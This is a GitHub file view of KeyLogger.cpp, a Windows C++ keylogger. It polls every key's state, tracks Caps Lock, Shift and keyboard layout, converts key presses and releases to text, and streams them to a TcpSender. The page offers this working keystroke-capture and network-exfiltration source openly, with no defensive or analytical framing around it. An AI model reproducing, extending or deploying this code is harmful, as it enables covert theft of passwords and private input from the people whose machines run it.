-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathKeyLogger.cpp
More file actions
58 lines (45 loc) · 1.46 KB
/
KeyLogger.cpp
File metadata and controls
58 lines (45 loc) · 1.46 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include "KeyLogger.h"
#include "Key.h"
KeyLogger::KeyLogger() : _keysState(256, false), _keysIgnored(256, false){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0)
_is_capsLook = true;
else
_is_capsLook = false;
//Dublicate RSHIFT, LSHIFT, RCONTROL, LCONTROL ...
_keysIgnored[VK_SHIFT] = true;
_keysIgnored[VK_CONTROL] = true;
_keysIgnored[VK_MENU] = true;
}
void KeyLogger::WriteEventKeys(TcpSender* sender)
{
bool isEn = (LOWORD(GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), 0))) == 0x409);
for (int key = 0; key < 255; key++) {
//Key down
if (LOWORD(GetAsyncKeyState(key))) {
if (!_keysState[key]) {
string stringKey = KeyToString(key, _is_capsLook, isEn, _keysState[VK_SHIFT]);
//Caps lock
if (key == VK_CAPITAL){
_is_capsLook = !_is_capsLook;
}
_keysState[key] = 1;
if (_keysIgnored[key]){
continue;
}
*sender << stringKey + "";
}
}
else {
//Key up
if (_keysState[key]) {
string stringKey = KeyToString(key, _is_capsLook, isEn, _keysState[VK_SHIFT]);
_keysState[key] = 0;
if (_keysIgnored[key]){
continue;
}
*sender << stringKey + "[UP]";
}
}
}
}
KeyLogger::~KeyLogger(){ }